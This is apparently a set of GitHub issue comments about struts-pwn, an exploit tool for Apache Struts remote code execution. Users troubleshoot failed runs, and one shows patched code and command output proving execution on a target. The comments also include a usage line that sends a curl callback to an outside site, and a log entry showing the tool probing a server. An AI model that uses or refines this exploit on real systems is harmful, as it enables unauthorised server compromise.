mazen160 / struts-pwn Goto Github PK

Hey dude,

When doing a list any way to provide the url as a var in the command so you can log against which sites are vun?

python struts-pwn.py --list 'urls.txt' -c 'curl -L https://mysite.com/test.php?url='

Urls have been obfuscated. On a vulnerable struts server, using the default struts-pwn, an IncompleteRead is returned with 0 bytes

root@kali:~/CVE-2017-12617/struts-pwn# python struts-pwn.py -u http://xxxx/test.action

[*] URL: xxxx/test.action
[*] CMD: id
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
ERROR
[%] Done.

If this is swapped to be urllib2 however, a partial response is received:

    try:
        #rq = requests.get(url, headers=headers, timeout=timeout, allow_redirects=False) 
        #output = rq.text
        request = urllib2.Request(url, headers=headers)
        request = urllib2.urlopen(request).read()
    except Exception as e:
        print("EXCEPTION::::--> " + str(e))
        print e.partial
        output = 'ERROR'
    return(output)

root@kali:~/CVE-2017-12617/struts-pwn# python struts-pwn.py -u http://xxxx/test.action

[*] URL: http://xxxx/test.action
[*] CMD: id
EXCEPTION::::--> IncompleteRead(54 bytes read)
uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)

ERROR
[%] Done.

I've yet to identify what behind the scenes is causing this error. Urllib3 appears to have the same behaviour as urllib2 (although I can't work out how to decode the response). Any idea if the way requests is working is causing issues?

the exploit code failed against https websites

Just installed Struts 2.5.12 on Tomcat 9 as a test target running locally

http://127.0.0.1:8080/struts2-showcase/index.action shows the 'Welcome!' screen

$ ./struts-pwn.py -u 'http://127.0.0.1:8080/struts2-showcase/index.action'

[*] URL: http://127.0.0.1:8080/struts2-showcase/index.action
[*] Status: Not Affected.

Same result with any URL (even non-existent ones)

Strangely enough, if I run the python script with --check, I get a response 200 and it shows my site as vulnerable.

If I try to run the exploit, then I get an Exception:
EXCEPTION::::--> ('Connection aborted.', error(104, 'Connection reset by peer'))

Any ideas what I can do to debug where/why the exception is being generated with the exploitable content-type?

Seeing this in my logs from a Script Kiddie.

80.15.195.28 - - [30/Apr/2017:10:34:21 +0000] "GET / HTTP/1.1" 200 0 "-" "struts-pwn (https://github.com/mazen160/struts-pwn)"